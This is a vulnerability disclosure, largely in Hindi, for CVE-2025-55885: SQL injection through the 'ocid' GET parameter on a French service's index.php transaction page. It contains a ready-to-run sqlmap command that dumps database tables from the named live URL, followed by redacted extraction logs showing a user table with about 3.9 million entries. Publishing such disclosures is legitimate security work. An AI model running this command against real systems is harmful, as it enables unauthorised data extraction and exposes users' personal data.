CVE-2025-55885

विवरण

SQL Injection भेद्यता Alpes Recherche et Developpement ARD GEC en Ligne में v.2025-04-23 से पहले एक दूरस्थ हमलावर को index.php में GET पैरामीटर के माध्यम से विशेषाधिकार बढ़ाने की अनुमति देता है।

हमले के वेक्टर

SQL इंजेक्शन अस्वच्छ GET पैरामीटर ocid के माध्यम से https://services.ard.fr/index.php (लेन-देन पुष्टिकरण पृष्ठ) पर।

प्रमाण अवधारणा

Payload

sqlmap -u "https://services.ard.fr/index.php?id=5869&ocid=183&token=1SemPugSUq3maSpK81871559797854161&transactionID=123" -p "ocid" --dbms=mysql -D ard-T [TABLE] --dump

List of Tables

[18:36:46] [INFO] retrieved: [redacted]
[18:37:15] [INFO] retrieved: [redacted]
[18:37:27] [INFO] retrieved: [redacted]
[18:37:39] [INFO] retrieved: [redacted]
[18:37:58] [INFO] retrieved: [redacted]
[18:38:15] [INFO] retrieved: [redacted]
[18:38:27] [INFO] retrieved: [redacted]
[18:38:59] [INFO] retrieved: [redacted]
[18:39:09] [INFO] retrieved: [redacted]
[18:39:30] [INFO] retrieved: [redacted]
[18:39:51] [INFO] retrieved: [redacted]
[18:40:03] [INFO] retrieved: [redacted]
[18:40:18] [INFO] retrieved: [redacted]
[18:40:35] [INFO] retrieved: [redacted]
[18:41:02] [INFO] retrieved: [redacted]
[18:41:48] [INFO] retrieved: [redacted]
[18:42:06] [INFO] retrieved: [redacted]
[18:42:23] [INFO] retrieved: [redacted]
[18:42:44] [INFO] retrieved: [redacted]
[18:43:04] [INFO] retrieved: [redacted]
[18:43:25] [INFO] retrieved: [redacted]
[18:44:01] [INFO] retrieved: [redacted]
[18:44:20] [INFO] retrieved: [redacted]
[18:44:40] [INFO] retrieved: [redacted]
[18:45:01] [INFO] retrieved: [redacted]
[18:45:13] [INFO] retrieved: [redacted]
[18:45:36] [INFO] retrieved: [redacted]
[18:45:54] [INFO] retrieved: [redacted]
[18:46:31] [INFO] retrieved: [redacted]
[18:46:56] [INFO] retrieved: [redacted]
[18:47:02] [INFO] retrieved: [redacted]
[18:47:13] [INFO] retrieved: [redacted]
[18:47:34] [INFO] retrieved: [redacted]
[18:47:58] [INFO] retrieved: [redacted]
[18:48:21] [INFO] retrieved: [redacted]
[19:45:51] [INFO] fetching entries for table '[user table]' in database 'ard'
[19:45:51] [INFO] fetching number of entries for table '[user table]' in database 'ard'
[19:45:51] [INFO] retrieved: 3904699

शोधकर्ता

• raphckrman